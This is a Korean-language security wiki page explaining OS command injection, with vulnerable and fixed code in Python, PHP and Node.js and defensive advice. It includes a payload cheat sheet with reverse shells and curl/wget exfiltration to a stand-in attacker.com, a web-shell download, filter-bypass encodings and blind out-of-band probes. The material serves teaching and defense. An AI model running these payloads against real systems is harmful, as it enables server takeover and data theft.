상위: Web Security
요약
Command Injection(명령어 주입)은 사용자 입력이 시스템 명령어에 포함될 때, 공격자가 임의의 OS 명령어를 실행하는 공격입니다. 서버 완전 장악(RCE)이 가능하여 매우 위험합니다.
공격 원리
취약한 코드
import os
def ping_host(host):
# 사용자 입력을 명령어에 직접 포함 (위험!)
result = os.system(f"ping -c 3 {host}")
return result
공격
입력: 8.8.8.8; cat /etc/passwd
실행되는 명령어: ping -c 3 8.8.8.8; cat /etc/passwd
명령어 연결 연산자
| 연산자 | 동작 | 예시 |
|---|---|---|
; | 순차 실행 | cmd1; cmd2 |
&& | 앞 명령 성공 시 실행 | cmd1 && cmd2 |
|| | 앞 명령 실패 시 실행 | cmd1 || cmd2 |
| | 파이프 (출력 전달) | cmd1 | cmd2 |
& | 백그라운드 실행 | cmd1 & cmd2 |
`cmd` | 명령어 치환 | echo \whoami`` |
$(cmd) | 명령어 치환 | echo $(whoami) |
\n | 줄바꿈 | cmd1%0acmd2 |
공격 페이로드
기본 공격
; ls -la
; cat /etc/passwd
; whoami
; id
리버스 쉘
; bash -i >& /dev/tcp/attacker.com/4444 0>&1
; nc -e /bin/sh attacker.com 4444
; python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker.com",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
데이터 유출
; curl http://attacker.com/?data=$(cat /etc/passwd | base64)
; wget http://attacker.com/$(whoami)
파일 생성/수정
; echo "hacked" > /var/www/html/pwned.txt
; curl http://attacker.com/shell.php -o /var/www/html/shell.php
우회 기법
공백 우회
# $IFS 사용 (Internal Field Separator)
cat${IFS}/etc/passwd
cat$IFS/etc/passwd
# 탭 사용
cat%09/etc/passwd
# {} 사용
{cat,/etc/passwd}
명령어 우회
# 문자열 연결
c'a't /etc/passwd
c"a"t /etc/passwd
c\at /etc/passwd
# 변수 사용
a=c;b=at;$a$b /etc/passwd
# Base64 인코딩
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash
# Hex 인코딩
echo -e "\x63\x61\x74 /etc/passwd" | bash
슬래시 우회
# 환경 변수 사용
cat ${HOME:0:1}etc${HOME:0:1}passwd
# printf 사용
cat $(printf "\x2fetc\x2fpasswd")
취약한 기능
| 기능 | 취약점 |
|---|---|
| Ping/Traceroute | 네트워크 진단 도구 |
| 파일 변환 | ImageMagick, FFmpeg |
| PDF 생성 | wkhtmltopdf |
| Git 연동 | git clone, pull |
| 압축/해제 | zip, tar |
| 메일 발송 | sendmail |
취약한 코드 vs 안전한 코드
Python
취약:
import os
os.system(f"ping {user_input}")
os.popen(f"ping {user_input}")
안전:
import subprocess
# 리스트로 전달 (쉘 해석 없음)
subprocess.run(['ping', '-c', '3', user_input], shell=False)
# 또는 입력값 검증
import re
if not re.match(r'^[\w.-]+$', user_input):
raise ValueError("Invalid hostname")
PHP
취약:
system("ping " . $_GET['host']);
exec("ping " . $_GET['host']);
shell_exec("ping " . $_GET['host']);
passthru("ping " . $_GET['host']);
안전:
$host = escapeshellarg($_GET['host']);
system("ping " . $host);
// 또는 화이트리스트
$allowed = ['8.8.8.8', '1.1.1.1'];
if (!in_array($_GET['host'], $allowed)) {
die("Not allowed");
}
Node.js
취약:
const { exec } = require('child_process');
exec(`ping ${userInput}`, callback);
안전:
const { execFile } = require('child_process');
execFile('ping', ['-c', '3', userInput], callback);
방어 방법
1. 명령어 실행 회피 (가장 좋음)
# OS 명령어 대신 라이브러리 사용
import ping3
ping3.ping(host) # 외부 명령어 호출 없음
2. 화이트리스트 검증
ALLOWED_HOSTS = ['google.com', '8.8.8.8', '1.1.1.1']
def ping_host(host):
if host not in ALLOWED_HOSTS:
raise ValueError("허용되지 않은 호스트")
subprocess.run(['ping', '-c', '3', host])
3. 입력값 검증
import re
def validate_hostname(hostname):
# 알파벳, 숫자, 점, 하이픈만 허용
pattern = r'^[a-zA-Z0-9][a-zA-Z0-9.-]{0,253}[a-zA-Z0-9]$'
if not re.match(pattern, hostname):
raise ValueError("Invalid hostname")
return hostname
4. 파라미터화된 실행
import subprocess
# shell=False로 파라미터화
subprocess.run(['ping', '-c', '3', host], shell=False)
5. 샌드박스/컨테이너
# Docker로 격리
docker run --rm --network=none alpine ping -c 3 $host
Blind Command Injection
서버 응답에 결과가 보이지 않을 때:
Time-based
; sleep 10 # 응답 10초 지연되면 취약
; ping -c 10 127.0.0.1
Out-of-band
# DNS 요청
; nslookup $(whoami).attacker.com
; curl http://attacker.com/$(id | base64)
파일 생성
; touch /var/www/html/pwned.txt
# 이후 http://target.com/pwned.txt 접근
테스트 페이로드
# 기본
; whoami
| id
`id`
$(id)
# URL 인코딩
%3B%20whoami
%7C%20id
# 우회
;{cat,/etc/passwd}
;cat${IFS}/etc/passwd
# Blind
;sleep 5
;curl http://attacker.com
테스트 도구
| 도구 | 용도 |
|---|---|
| Commix | Command Injection 자동화 |
| Burp Suite | 수동 테스트 |
| OWASP ZAP | 자동 스캐너 |
Commix 사용
# 기본 테스트
commix -u "http://target.com/ping.php?host=INJECT_HERE"
# POST 요청
commix -u "http://target.com/api" --data "host=INJECT_HERE"
관련 공격
- SQL Injection - 데이터베이스 명령어 주입
- SSRF - 서버 측 요청 위조
- XXE - XML 외부 엔티티 공격
- Path Traversal - 파일 시스템 탐색